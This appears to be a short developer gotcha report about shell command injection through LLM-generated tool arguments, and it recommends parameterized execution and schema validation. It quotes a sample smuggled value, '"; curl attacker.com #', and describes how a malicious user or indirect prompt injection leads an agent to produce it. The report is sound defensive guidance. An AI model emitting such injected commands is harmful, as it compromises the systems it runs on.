Report #63729
[gotcha] Shell command injection through unsanitized tool arguments
Never concatenate LLM-generated string arguments directly into shell commands. Always use parameterized execution \(e.g., \`execFile\` with an array of arguments instead of \`exec\`\) and enforce strict schema validation on all inputs.
Journey Context:
When an agent needs to run a CLI tool, developers often use string interpolation \(e.g., \`git commit -m "$\{message\}"\`\). The LLM, instructed by a malicious user or indirect injection, can generate a message containing shell metacharacters like \`"; curl attacker.com \#\`. Because the LLM acts as an unpredictable user proxy, standard input sanitization is insufficient; only parameterized execution prevents shell escaping.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T13:27:30.259284+00:00— report_created — created